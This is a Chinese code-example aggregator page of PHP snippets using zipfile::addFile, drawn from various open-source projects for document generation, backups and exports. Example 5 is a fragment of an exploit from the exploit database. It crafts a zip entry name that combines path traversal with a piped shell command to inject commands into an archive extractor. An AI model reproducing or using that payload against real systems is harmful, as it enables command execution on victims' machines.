当前位置: 首页>>代码示例>>PHP>>正文


PHP zipfile::addFile方法代码示例

本文整理汇总了PHP中zipfile::addFile方法的典型用法代码示例。如果您正苦于以下问题:PHP zipfile::addFile方法的具体用法?PHP zipfile::addFile怎么用?PHP zipfile::addFile使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在zipfile的用法示例。


在下文中一共展示了zipfile::addFile方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: PMA_createOpenDocument

/**
 * Minimalistic creator of OASIS OpenDocument
 *
 * @param   string      desired MIME type
 * @param   string      document content
 *
 * @return  string      OASIS OpenDocument data
 *
 * @access  public
 */
function PMA_createOpenDocument($mime, $data)
{
    $zipfile = new zipfile();
    $zipfile->addFile($mime, 'mimetype');
    $zipfile->addFile($data, 'content.xml');
    $zipfile->addFile('<?xml version="1.0" encoding="UTF-8"?' . '>' . '<office:document-meta ' . 'xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" ' . 'xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" ' . 'office:version="1.0">' . '<office:meta>' . '<meta:generator>phpMyAdmin ' . PMA_VERSION . '</meta:generator>' . '<meta:initial-creator>phpMyAdmin ' . PMA_VERSION . '</meta:initial-creator>' . '<meta:creation-date>' . strftime('%Y-%m-%dT%H:%M:%S') . '</meta:creation-date>' . '</office:meta>' . '</office:document-meta>', 'meta.xml');
    $zipfile->addFile('<?xml version="1.0" encoding="UTF-8"?' . '>' . '<office:document-styles ' . $GLOBALS['OpenDocumentNS'] . 'office:version="1.0">' . '<office:font-face-decls>' . '<style:font-face style:name="Arial Unicode MS" svg:font-family="\'Arial Unicode MS\'" style:font-pitch="variable"/>' . '<style:font-face style:name="DejaVu Sans1" svg:font-family="\'DejaVu Sans\'" style:font-pitch="variable"/>' . '<style:font-face style:name="HG Mincho Light J" svg:font-family="\'HG Mincho Light J\'" style:font-pitch="variable"/>' . '<style:font-face style:name="DejaVu Serif" svg:font-family="\'DejaVu Serif\'" style:font-family-generic="roman" style:font-pitch="variable"/>' . '<style:font-face style:name="Thorndale" svg:font-family="Thorndale" style:font-family-generic="roman" style:font-pitch="variable"/>' . '<style:font-face style:name="DejaVu Sans" svg:font-family="\'DejaVu Sans\'" style:font-family-generic="swiss" style:font-pitch="variable"/>' . '</office:font-face-decls>' . '<office:styles>' . '<style:default-style style:family="paragraph">' . '<style:paragraph-properties fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>' . '<style:text-properties style:use-window-font-color="true" style:font-name="DejaVu Serif" fo:font-size="12pt" fo:language="en" fo:country="US" style:font-name-asian="DejaVu Sans1" style:font-size-asian="12pt" style:language-asian="none" style:country-asian="none" style:font-name-complex="DejaVu Sans1" style:font-size-complex="12pt" style:language-complex="none" style:country-complex="none" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>' . '</style:default-style>' . '<style:style style:name="Standard" style:family="paragraph" style:class="text"/>' . '<style:style style:name="Text_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">' . '<style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0835in"/>' . '</style:style>' . '<style:style style:name="Heading" style:family="paragraph" style:parent-style-name="Standard" style:next-style-name="Text_body" style:class="text">' . '<style:paragraph-properties fo:margin-top="0.1665in" fo:margin-bottom="0.0835in" fo:keep-with-next="always"/>' . '<style:text-properties style:font-name="DejaVu Sans" fo:font-size="14pt" style:font-name-asian="DejaVu Sans1" style:font-size-asian="14pt" style:font-name-complex="DejaVu Sans1" style:font-size-complex="14pt"/>' . '</style:style>' . '<style:style style:name="Heading_1" style:display-name="Heading 1" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_body" style:class="text" style:default-outline-level="1">' . '<style:text-properties style:font-name="Thorndale" fo:font-size="24pt" fo:font-weight="bold" style:font-name-asian="HG Mincho Light J" style:font-size-asian="24pt" style:font-weight-asian="bold" style:font-name-complex="Arial Unicode MS" style:font-size-complex="24pt" style:font-weight-complex="bold"/>' . '</style:style>' . '<style:style style:name="Heading_2" style:display-name="Heading 2" style:family="paragraph" style:parent-style-name="Heading" style:next-style-name="Text_body" style:class="text" style:default-outline-level="2">' . '<style:text-properties style:font-name="DejaVu Serif" fo:font-size="18pt" fo:font-weight="bold" style:font-name-asian="DejaVu Sans1" style:font-size-asian="18pt" style:font-weight-asian="bold" style:font-name-complex="DejaVu Sans1" style:font-size-complex="18pt" style:font-weight-complex="bold"/>' . '</style:style>' . '</office:styles>' . '<office:automatic-styles>' . '<style:page-layout style:name="pm1">' . '<style:page-layout-properties fo:page-width="8.2673in" fo:page-height="11.6925in" style:num-format="1" style:print-orientation="portrait" fo:margin-top="1in" fo:margin-bottom="1in" fo:margin-left="1.25in" fo:margin-right="1.25in" style:writing-mode="lr-tb" style:footnote-max-height="0in">' . '<style:footnote-sep style:width="0.0071in" style:distance-before-sep="0.0398in" style:distance-after-sep="0.0398in" style:adjustment="left" style:rel-width="25%" style:color="#000000"/>' . '</style:page-layout-properties>' . '<style:header-style/>' . '<style:footer-style/>' . '</style:page-layout>' . '</office:automatic-styles>' . '<office:master-styles>' . '<style:master-page style:name="Standard" style:page-layout-name="pm1"/>' . '</office:master-styles>' . '</office:document-styles>', 'styles.xml');
    $zipfile->addFile('<?xml version="1.0" encoding="UTF-8"?' . '>' . '<manifest:manifest xmlns:manifest="urn:oasis:names:tc:opendocument:xmlns:manifest:1.0">' . '<manifest:file-entry manifest:media-type="' . $mime . '" manifest:full-path="/"/>' . '<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="content.xml"/>' . '<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="meta.xml"/>' . '<manifest:file-entry manifest:media-type="text/xml" manifest:full-path="styles.xml"/>' . '</manifest:manifest>', 'META-INF/manifest.xml');
    return $zipfile->file();
}
开发者ID:alexhava,项目名称:elixirjuice,代码行数:20,代码来源:opendocument.lib.php

示例2: index

 public function index()
 {
     $filenamezip = APP_ROOT_PATH . "public/mobile_goods_down_region_conf.zip";
     if (!file_exists($filenamezip)) {
         $sql = "select id,pid,name,'' as postcode,'' as py from " . DB_PREFIX . "delivery_region";
         $list = $GLOBALS['db']->getAll($sql);
         $root = array();
         $root['return'] = 1;
         $region_list = "";
         foreach ($list as $item) {
             $sql = "insert into region_conf(id,pid,name,postcode,py) values('{$item['id']}','{$item['pid']}','{$item['name']}','{$item['postcode']}','{$item['py']}');";
             if ($region_list == "") {
                 $region_list = $sql;
             } else {
                 $region_list = $region_list . "\n" . $sql;
             }
         }
         $ziper = new zipfile();
         $ziper->addFile($region_list, "region_conf.txt");
         $ziper->output($filenamezip);
     }
     $root = array();
     $root['return'] = 1;
     if (file_exists($filenamezip)) {
         $root['file_exists'] = 1;
     } else {
         $root['file_exists'] = 0;
     }
     $sql = "select count(*) as num from " . DB_PREFIX . "delivery_region";
     $root['region_num'] = $GLOBALS['db']->getOne($sql);
     //配置地区数量
     $root['file_url'] = get_domain() . APP_ROOT . "/../public/mobile_goods_down_region_conf.zip";
     $root['file_size'] = abs(filesize($filenamezip));
     output($root);
 }
开发者ID:macall,项目名称:jsd,代码行数:35,代码来源:down_region_conf.action.php

示例3: makezip

function makezip($zipname, $ad_dir)
{
    $zipfilename = $zipname;
    $zip_subfolder = '';
    $ad_dir = $ad_dir;
    // form is posted, handle it
    $zipfile = new zipfile();
    // generate _settings into zip file
    //$zipfile ->addFile( stripcslashes( $settings ), $zip_subfolder . '/_settings.php' );
    if ($handle = opendir($ad_dir)) {
        while (false !== ($file = readdir($handle))) {
            if (!is_dir($file) && $file != "." && $file != "..") {
                $f_tmp = @fopen($ad_dir . '/' . $file, 'r');
                if ($f_tmp) {
                    $dump_buffer = fread($f_tmp, filesize($ad_dir . '/' . $file));
                    $zipfile->addFile($dump_buffer, $zip_subfolder . '/' . $file);
                    fclose($f_tmp);
                }
            }
        }
        $dump_buffer = $zipfile->file();
        // write the file to disk:
        $file_pointer = fopen($zipfilename, 'w');
        if ($file_pointer) {
            fwrite($file_pointer, $dump_buffer, strlen($dump_buffer));
            fclose($file_pointer);
        }
        // response zip archive to browser:
        header('Pragma: public');
        header('Content-type: application/zip');
        header('Content-length: ' . strlen($dump_buffer));
        header('Content-Disposition: attachment; filename="' . $zipfilename . '"');
        echo $dump_buffer;
    }
}
开发者ID:pankajsinghjarial,项目名称:SYLC-AMERICAN,代码行数:35,代码来源:zip_funct.php

示例4: get_projects_archive

function get_projects_archive($projects, $shedule)
{
    require_once "zip.lib.php";
    $zipfile = new zipfile();
    foreach ($projects as $fname => $project) {
        $fname = 'Projects/' . $fname;
        $zipfile->addFile($project, $fname);
    }
    $zipfile->addFile($shedule, 'shedule.xml');
    header('Content-type: application/octet-stream');
    header('Content-Disposition: attachment; filename=projects-' . date("d-m-Y-H-i-s") . '.zip');
    echo $zipfile->file();
    $zipfile->close();
}
开发者ID:ivrm,项目名称:mbgdorgen,代码行数:14,代码来源:xr_function.php

示例5: pack

        // extra field length
        $cdrec .= pack('v', 0);
        // file comment length
        $cdrec .= pack('v', 0);
        // disk number start
        $cdrec .= pack('v', 0);
        // internal file attributes
        $cdrec .= pack('V', 32);
        // external file attributes - 'archive' bit set
        $cdrec .= pack('V', $this->old_offset);
        // relative offset of local header
        $this->old_offset += strlen($fr);
        $cdrec .= $name;
        $this->ctrl_dir[] = $cdrec;
    }
    function file()
    {
        $data = implode('', $this->datasec);
        $ctrldir = implode('', $this->ctrl_dir);
        return $data . $ctrldir . $this->eof_ctrl_dir . pack('v', sizeof($this->ctrl_dir)) . pack('v', sizeof($this->ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "";
        // .zip file comment length
    }
}
$zipfile = new zipfile();
$zipfile->addFile("lol", "../../../../../../../\" README.TXT \" " . str_repeat(" ", 0xde - strlen($cmd)) . "\" | {$cmd} | .txt");
$dump_buffer = $zipfile->file();
assert(file_put_contents("9sg.zip", $dump_buffer));
?>

# milw0rm.com [2009-06-05]
开发者ID:noscripter,项目名称:exploit-database,代码行数:30,代码来源:8881.php

示例6: ShowUpdatePage

function ShowUpdatePage()
{
    global $LNG, $CONF, $db;
    $Patchlevel = explode(".", VERSION);
    if ($_REQUEST['action'] == 'history') {
        $Level = 0;
    } elseif (isset($Patchlevel[2])) {
        $Level = $Patchlevel[2];
    } else {
        $Level = 1159;
    }
    $opts = array('http' => array('method' => "GET", 'header' => "Patchlevel: " . $Level . "\r\nUser-Agent: 2Moons Update API (Rev " . $Patchlevel[2] . ")\r\n"));
    $context = stream_context_create($opts);
    switch ($_REQUEST['action']) {
        case "download":
            require_once ROOT_PATH . 'includes/libs/zip/zip.lib.' . PHP_EXT;
            $UpdateArray = unserialize(file_get_contents("http://update.2moons-systems.com/index.php?action=getupdate", FALSE, $context));
            if (!is_array($UpdateArray['revs'])) {
                exitupdate(array('debug' => array('noupdate' => "Kein Update vorhanden!")));
            }
            $SVN_ROOT = $UpdateArray['info']['svn'];
            $zipfile = new zipfile();
            $TodoDelete = "";
            foreach ($UpdateArray['revs'] as $Rev => $RevInfo) {
                if (!empty($RevInfo['add'])) {
                    foreach ($RevInfo['add'] as $File) {
                        if (strpos($File, '.') !== false) {
                            $zipfile->addFile(file_get_contents($SVN_ROOT . $File), str_replace("/trunk/", "", $File), $RevInfo['timestamp']);
                        }
                    }
                }
                if (!empty($RevInfo['edit'])) {
                    foreach ($RevInfo['edit'] as $File) {
                        if (strpos($File, '.') !== false) {
                            $zipfile->addFile(file_get_contents($SVN_ROOT . $File), str_replace("/trunk/", "", $File), $RevInfo['timestamp']);
                        }
                    }
                }
                if (!empty($RevInfo['del'])) {
                    foreach ($RevInfo['del'] as $File) {
                        if (strpos($File, '.') !== false) {
                            $TodoDelete .= str_replace("/trunk/", "", $File) . "\r\n";
                        }
                    }
                }
                $LastRev = $Rev;
            }
            if (!empty($TodoDelete)) {
                $zipfile->addFile($TodoDelete, "!TodoDelete!.txt", $RevInfo['timestamp']);
            }
            update_config('VERSION', str_replace("RC", "", $Patchlevel[0]) . "." . $Patchlevel[1] . "." . $LastRev);
            // Header für Download senden
            header("HTTP/1.1 200 OK");
            header("Content-Type: application/force-download");
            header('Content-Disposition: attachment; filename="patch_' . $Level . '_to_' . $LastRev . '.zip"');
            header("Content-Transfer-Encoding: binary");
            // Zip File senden
            echo $zipfile->file();
            exit;
            break;
        case "update":
            require_once ROOT_PATH . 'includes/libs/ftp/ftp.class.' . PHP_EXT;
            require_once ROOT_PATH . 'includes/libs/ftp/ftpexception.class.' . PHP_EXT;
            $UpdateArray = unserialize(file_get_contents("http://update.2moons-systems.com/index.php?action=getupdate", FALSE, $context));
            if (!is_array($UpdateArray['revs'])) {
                exitupdate(array('debug' => array('noupdate' => "Kein Update vorhanden!")));
            }
            $SVN_ROOT = $UpdateArray['info']['svn'];
            $CONFIG = array("host" => $CONF['ftp_server'], "username" => $CONF['ftp_user_name'], "password" => $CONF['ftp_user_pass'], "port" => 21);
            try {
                $ftp = FTP::getInstance();
                $ftp->connect($CONFIG);
                $LOG['debug']['connect'] = "FTP-Verbindungsaufbau: OK!";
            } catch (FTPException $error) {
                $LOG['debug']['connect'] = "FTP-Verbindungsaufbau: ERROR! " . $error->getMessage();
                exitupdate($LOG);
            }
            if ($ftp->changeDir($CONF['ftp_root_path'])) {
                $LOG['debug']['chdir'] = "FTP-Changedir(" . $CONF['ftp_root_path'] . "): OK!";
            } else {
                $LOG['debug']['chdir'] = "FTP-Changedir(" . $CONF['ftp_root_path'] . "): ERROR! Pfad nicht gefunden!";
                exitupdate($LOG);
            }
            foreach ($UpdateArray['revs'] as $Rev => $RevInfo) {
                if (!empty($RevInfo['add'])) {
                    foreach ($RevInfo['add'] as $File) {
                        if ($File == "/trunk/updates/update_" . $Rev . ".sql") {
                            $db->multi_query(str_replace("prefix_", DB_PREFIX, file_get_contents($SVN_ROOT . $File)));
                            continue;
                        } elseif ($File == "/trunk/updates/update_" . $Rev . ".php") {
                            require $SVN_ROOT . $File;
                        } else {
                            if (strpos($File, '.') !== false) {
                                $Data = fopen($SVN_ROOT . $File, "r");
                                if ($ftp->uploadFromFile($Data, str_replace("/trunk/", "", $File))) {
                                    $LOG['update'][$Rev][$File] = "OK! - Updated";
                                } else {
                                    $LOG['update'][$Rev][$File] = "ERROR! - Konnte Datei nicht hochladen";
                                }
                                fclose($Data);
//.........这里部分代码省略.........
开发者ID:sonicmaster,项目名称:RPG,代码行数:101,代码来源:ShowUpdatePage.php

示例7: getZipped

 /**
  * Writes a zip file of an array of release guids directly to the stream
  */
 public function getZipped($guids)
 {
     $s = new Settings();
     $this->nzb = new NZB();
     $zipfile = new zipfile();
     foreach ($guids as $guid) {
         $nzbpath = $this->nzb->getNZBPath($guid, $s->getSetting('nzbpath'));
         if (file_exists($nzbpath)) {
             ob_start();
             @readgzfile($nzbpath);
             $nzbfile = ob_get_contents();
             ob_end_clean();
             $filename = $guid;
             $r = $this->getByGuid($guid);
             if ($r) {
                 $filename = $r["searchname"];
             }
             $zipfile->addFile($nzbfile, $filename . ".nzb");
         }
     }
     return $zipfile->file();
 }
开发者ID:engine9-,项目名称:newznab-tmux,代码行数:25,代码来源:Releases.php

示例8: export_sample


//.........这里部分代码省略.........
     for ($i = 0; $i < count($a_blocks); $i++) {
         $tmp = new block();
         $tmp->load($a_blocks[$i]);
         $properties['block'][$tmp->id] = property::load_properties('block', $tmp->type, 'block', $tmp->id);
         list($tmp->dictionary, $files) = theme::export_sample_parse_dictionary($tmp->dictionary, $files);
         list($tmp->trigger['trigger-content'], $files) = theme::export_sample_parse_array($tmp->trigger['trigger-content'], $files);
         list($tmp->trigger['trigger-html'], $files) = theme::export_sample_parse_array($tmp->trigger['trigger-html'], $files);
         if (!empty($tmp->trigger['trigger-image'])) {
             $files = array_merge($files, array_values($tmp->trigger['trigger-image']));
         }
         if (!empty($tmp->trigger['trigger-rollover'])) {
             $files = array_merge($files, array_values($tmp->trigger['trigger-rollover']));
         }
         if (!empty($tmp->trigger['trigger-rollover-active'])) {
             $files = array_merge($files, array_values($tmp->trigger['trigger-rollover-active']));
         }
         if (!empty($tmp->trigger['trigger-flash'])) {
             $files = array_merge($files, array_values($tmp->trigger['trigger-flash']));
         }
         if (!empty($tmp->action['action-image'])) {
             $files = array_merge($files, array_values($tmp->action['action-image']));
         }
         if (!empty($tmp->action['action-file'])) {
             $files = array_merge($files, array_values($tmp->action['action-file']));
         }
         // add files referenced in properties
         if (is_array($properties['block'][$tmp->id])) {
             foreach ($properties['block'][$tmp->id] as $property) {
                 if ($property->type == 'image' || $property->type == 'file') {
                     $files[] = $property->value;
                 }
             }
         }
         $blocks[$tmp->id] = $tmp;
     }
     // folders
     // save references and get their files list
     $folders = array();
     $folders_to_check = array();
     if (!empty($folder)) {
         array_push($folders_to_check, $folder);
         while (!empty($folders_to_check)) {
             $f = array_shift($folders_to_check);
             $f = file::filesOnPath($f);
             foreach ($f as $file) {
                 if ($file->type == 'folder') {
                     array_push($folders_to_check, $file->id);
                     array_push($folders, $file);
                 } else {
                     $files[] = $file->id;
                 }
             }
         }
     }
     // add files selected as theme_options
     foreach ($theme->options as $to) {
         if ($to->type == 'image' || $to->type == 'file') {
             $to_value = $website->theme_options->{$to->id};
             if (is_array($to_value)) {
                 $files = array_merge($files, $to_value);
             } else {
                 $files[] = $to_value;
             }
         }
     }
     // include favicon in file list
     if (!empty($website->favicon)) {
         $files[] = $website->favicon;
     }
     // files
     $files = array_unique($files);
     for ($f = 0; $f < count($files); $f++) {
         $file = new file();
         $file->load($files[$f]);
         $files[$f] = $file;
     }
     // settings
     $settings['homepage'] = $website->homepage;
     $settings['favicon'] = $website->favicon;
     $zip = new zipfile();
     $zip->addFile(var_export($website->languages, true), 'languages.var_export');
     $zip->addFile(var_export($website->theme_options, true), 'theme_options.var_export');
     $zip->addFile(var_export($categories, true), 'structure.var_export');
     $zip->addFile(var_export($items, true), 'items.var_export');
     $zip->addFile(var_export($block_groups, true), 'block_groups.var_export');
     $zip->addFile(var_export($blocks, true), 'blocks.var_export');
     $zip->addFile(var_export($comments, true), 'comments.var_export');
     $zip->addFile(var_export($files, true), 'files.var_export');
     $zip->addFile(var_export($folders, true), 'folders.var_export');
     $zip->addFile(var_export($properties, true), 'properties.var_export');
     $zip->addFile(var_export($settings, true), 'settings.var_export');
     foreach ($files as $file) {
         $zip->addFile(file_get_contents($file->absolute_path()), 'files/' . $file->id);
     }
     $contents = $zip->file();
     header('Content-Disposition: attachment; filename="' . $website->theme . '_sample.zip"');
     header("Content-type: application/octet-stream");
     header('Content-Length: ' . strlen($contents));
     echo $contents;
 }
开发者ID:NavigateCMS,项目名称:Navigate-CMS,代码行数:101,代码来源:theme.class.php

示例9: compress_filedata

function compress_filedata(&$filename, &$mime_type, $contents, $compress)
{
    switch ($compress) {
        case 'zip':
            $mime_type = 'application/zip';
            $zip = new zipfile();
            $zip->addFile($contents, $filename, time());
            $contents = $zip->file();
            $filename .= '.zip';
            break;
        case 'gzip':
            $mime_type = 'application/x-gzip-compressed';
            $contents = gzencode($contents);
            $filename .= '.gz';
            break;
        case 'bz2':
            $mime_type = 'application/x-bzip';
            $contents = bzcompress($contents);
            $filename .= '.bz2';
            break;
    }
    return $contents;
}
开发者ID:bibwho,项目名称:MATPbootstrap,代码行数:23,代码来源:tools.php

示例10: Generate

 /**
  * Generate the application based on the selected tables and options
  */
 public function Generate()
 {
     // check for all required fields
     if (empty($_REQUEST["table_name"])) {
         throw new Exception("Please select at least one table to generate");
     }
     $cstring = $this->GetConnectionString();
     // initialize the database connection
     $handler = new DBEventHandler();
     $connection = new DBConnection($cstring, $handler);
     $server = new DBServer($connection);
     $dbSchema = new DBSchema($server);
     $debug = isset($_REQUEST["debug"]) && $_REQUEST["debug"] == "1";
     $parameters = array();
     $tableNames = $_REQUEST["table_name"];
     $packageName = $_REQUEST["package"];
     $debug_output = "";
     $selectedTables = array();
     foreach ($tableNames as $tableName) {
         $selectedTables[] = $dbSchema->Tables[$tableName];
     }
     // see if arbitrary parameters were passed in - in which case they will be passed through to the templates
     $tmp = RequestUtil::Get('parameters');
     if ($tmp) {
         $pairs = explode("\n", str_replace("\r", "", $tmp));
         foreach ($pairs as $pair) {
             list($key, $val) = explode("=", $pair, 2);
             $parameters[$key] = $val;
         }
     }
     // check for required parameters
     if (!array_key_exists('max_items_in_topnav', $parameters)) {
         $parameters['max_items_in_topnav'] = self::$DEFAULT_MAX_ITEMS_IN_TOPNAV;
     }
     $zipFile = new zipfile();
     $codeRoot = GlobalConfig::$APP_ROOT . '/code/';
     $tempRoot = GlobalConfig::$APP_ROOT . '/temp/';
     // initialize smarty
     $smarty = new Smarty();
     $smarty->template_dir = $codeRoot;
     $smarty->compile_dir = $tempRoot;
     $smarty->config_dir = $tempRoot;
     $smarty->cache_dir = $tempRoot;
     $smarty->caching = false;
     $appname = RequestUtil::Get("appname");
     $appRoot = RequestUtil::Get("appRoot");
     $includePath = RequestUtil::Get("includePath");
     $includePhar = RequestUtil::Get("includePhar");
     $enableLongPolling = RequestUtil::Get("enableLongPolling");
     $config = new AppConfig($codeRoot . $packageName);
     foreach ($config->GetTemplateFiles() as $templateFile) {
         if ($templateFile->generate_mode == 3) {
             if ($includePhar == '1') {
                 // proceed, copy the phar file
                 $templateFile->generate_mode = 2;
             } else {
                 // skip the phar file
                 continue;
             }
         }
         if ($templateFile->generate_mode == 2) {
             // this is a template that is copied without parsing to the project (ie images, static files, etc)
             $templateFilename = str_replace(array('{$appname}', '{$appname|lower}', '{$appname|upper}'), array($appname, strtolower($appname), strtoupper($appname)), $templateFile->destination);
             $contents = file_get_contents($codeRoot . $templateFile->source);
             // this is a direct copy
             if ($debug) {
                 $debug_output .= "\r\n###############################################################\r\n" . "# {$templateFilename}\r\n###############################################################\r\n" . "(contents of " . $codeRoot . $templateFile->source . ")\r\n";
             } else {
                 $zipFile->addFile($contents, $templateFilename);
             }
         } elseif ($templateFile->generate_mode == 1) {
             // single template where one is generated for the entire project instead of one for each selected table
             $templateFilename = str_replace(array('{$appRoot}', '{$appRoot|lower}', '{$appRoot|upper}'), array($appRoot, strtolower($appRoot), strtoupper($appRoot)), $templateFile->destination);
             $smarty->clearAllAssign();
             foreach ($parameters as $key => $val) {
                 $smarty->assign($key, $val);
             }
             $smarty->assign("tableNames", $tableNames);
             $smarty->assign("templateFilename", $templateFilename);
             $smarty->assign("schema", $dbSchema);
             $smarty->assign("tables", $dbSchema->Tables);
             $smarty->assign("connection", $cstring);
             $smarty->assign("appname", $appname);
             $smarty->assign("appRoot", $appRoot);
             $smarty->assign("includePath", $includePath);
             $smarty->assign("includePhar", $includePhar);
             $smarty->assign("enableLongPolling", $enableLongPolling);
             $smarty->assign("PHREEZE_VERSION", Phreezer::$Version);
             $tableInfos = array();
             // add all tables to a tableInfos array that can be used for cross-referencing by table name
             foreach ($dbSchema->Tables as $table) {
                 if ($table->GetPrimaryKeyName()) {
                     $tableName = $table->Name;
                     $tableInfos[$tableName] = array();
                     $tableInfos[$tableName]['table'] = $dbSchema->Tables[$tableName];
                     $tableInfos[$tableName]['singular'] = $_REQUEST[$tableName . "_singular"];
                     $tableInfos[$tableName]['plural'] = $_REQUEST[$tableName . "_plural"];
//.........这里部分代码省略.........
开发者ID:joaoricardorm,项目名称:phreeze,代码行数:101,代码来源:GeneratorController.php

示例11: export_article_file

function export_article_file($data, $filename)
{
    $text = base64_encode(serialize($data));
    require_once libfile('class/zip');
    $zip = new zipfile();
    $zip->addFile($text, $filename . '.txt');
    $text = $zip->file();
    export_file($text, $filename . '.zip');
}
开发者ID:edmundwong,项目名称:V604,代码行数:9,代码来源:function.pick.php

示例12: zipfile

 }
 // Do the compression
 // 1. as a gzipped file
 if (isset($compression) && $compression == 'zip') {
     if (@function_exists('gzcompress')) {
         if ($type == 'csv') {
             $extbis = '.csv';
         } else {
             if ($type == 'xml') {
                 $extbis = '.xml';
             } else {
                 $extbis = '.sql';
             }
         }
         $zipfile = new zipfile();
         $zipfile->addFile($dump_buffer, $filename . $extbis);
         $dump_buffer = $zipfile->file();
     }
 } else {
     if (isset($compression) && $compression == 'bzip') {
         if (@function_exists('bzcompress')) {
             $dump_buffer = bzcompress($dump_buffer);
             if ($dump_buffer === -8) {
                 require_once './header.inc.php';
                 echo sprintf($strBzError, '<a href="http://bugs.php.net/bug.php?id=17300" target="_blank">17300</a>');
                 require_once './footer.inc.php';
             }
         }
     } else {
         if (isset($compression) && $compression == 'gzip') {
             if (@function_exists('gzencode')) {
开发者ID:quartemer,项目名称:xoopserver,代码行数:31,代码来源:export.php

示例13: addslashes

			$dumpfile = addslashes(dirname(dirname(__FILE__))).'/'.$backupfilename.'.sql';
			@unlink($dumpfile);

			$mysqlbin = $mysql_base == '/' ? '' : addslashes($mysql_base).'bin/';
			@shell_exec($mysqlbin.'mysqldump --force --quick '.($db->version() > '4.1' ? '--skip-opt --create-options' : '-all').' --add-drop-table'.($extendins == 1 ? ' --extended-insert' : '').''.($db->version() > '4.1' && $sqlcompat == 'MYSQL40' ? ' --compatible=mysql40' : '').' --host="'.$dbhost.($dbport ? (is_numeric($dbport) ? ' --port='.$dbport : ' --socket="'.$dbport.'"') : '').'" --user="'.$dbuser.'" --password="'.$dbpw.'" "'.$dbname.'" '.$tablesstr.' > '.$dumpfile);

			if(@file_exists($dumpfile)) {

				if($usezip) {
					require_once DISCUZ_ROOT.'admin/zip.func.php';
					$zip = new zipfile();
					$zipfilename = $backupfilename.'.zip';
					$fp = fopen($dumpfile, "r");
					$content = @fread($fp, filesize($dumpfile));
					fclose($fp);
					$zip->addFile($idstring."# <?exit();?>\n ".$setnames."\n #".$content, basename($dumpfile));
					$fp = fopen($zipfilename, 'w');
					@fwrite($fp, $zip->file());
					fclose($fp);
					@unlink($dumpfile);
					@touch('./forumdata/'.$backupdir.'/index.htm');
					$filename = $backupfilename.'.zip';
					unset($sqldump, $zip, $content);
					cpmsg('database_export_zip_succeed');
				} else {
					if(@is_writeable($dumpfile)) {
						$fp = fopen($dumpfile, 'rb+');
						@fwrite($fp, $idstring."# <?exit();?>\n ".$setnames."\n #");
						fclose($fp);
					}
					@touch('./forumdata/'.$backupdir.'/index.htm');
开发者ID:jonycookie,项目名称:projectm2,代码行数:31,代码来源:database.inc.php

示例14: zipfile

 function _exportTheme($iThemeId)
 {
     $aTheme = $this->_oDb->getThemeById($iThemeId);
     if (empty($aTheme)) {
         return;
     }
     $sConf = "\$sThemeName = '{$aTheme['name']}';\n";
     $sConf .= "\$sThemeStyle = '{$aTheme['css']}';\n";
     $sImagesPath = $this->_getImagesDir();
     $oZipFile = new zipfile();
     $oZipFile->addFile($sConf, BX_PROFILE_CUSTOMIZE_THEME_CONF);
     $sFile = $sImagesPath . BX_PROFILE_CUSTOMIZE_THEME_PREFIX . $iThemeId . BX_PROFILE_CUSTOMIZE_THUMB_EXT;
     if (file_exists($sFile)) {
         $oData = implode("", file($sFile));
         $oZipFile->addFile($oData, BX_PROFILE_CUSTOMIZE_THEME_THUMB);
     }
     $aImages = $this->_getImages(unserialize($aTheme['css']));
     foreach ($aImages as $sImage) {
         $sFile = $sImagesPath . $sImage;
         if (file_exists($sFile)) {
             $oData = implode("", file($sFile));
             $oZipFile->addFile($oData, 'images/' . $sImage);
         }
     }
     header("Content-type: application/octet-stream");
     header("Content-disposition: attachment; filename={$aTheme['name']}.dfn");
     echo $oZipFile->file();
     exit;
 }
开发者ID:Gotgot59,项目名称:dolphin.pro,代码行数:29,代码来源:BxProfileCustomizeModule.php

示例15: generate_kmz_track

function generate_kmz_track($jsonTrack)
{
    $track = @json_decode($jsonTrack, true);
    if (!isset($track['nbTrackPt']) || $track['nbTrackPt'] < 5) {
        exit;
    }
    $zip = new zipfile();
    $plain = generate_kml_track($jsonTrack);
    $altitude = generate_colored_track($jsonTrack, 'elev', 'm', $minAlti, $maxAlti);
    $vario = generate_colored_track($jsonTrack, 'vario', 'm/s', $minVario, $maxVario);
    $speed = generate_colored_track($jsonTrack, 'speed', 'km/h', $minSpeed, $maxSpeed);
    $description = "Created by VisuGps [www.victorb.fr]<br/><br/>\n" . "<table width=300><tr><td align='left'>{$minAlti}</td><td align='right'>{$maxAlti}m</td></tr>\n" . "<tr><td colspan=2><img src='scale.png' height=30 width=300></td></tr>\n" . "<tr><td align='left'>{$minSpeed}</td><td align='right'>{$maxSpeed}km/h</td></tr>\n" . "<tr><td colspan=2><img src='scale.png' height=30 width=300></td></tr>\n" . "<tr><td align='left'>{$minVario}</td><td align='right'>{$maxVario}m/s</td></tr>\n" . "<tr><td colspan=2><img src='scale.png' height=30 width=300></td></tr>\n";
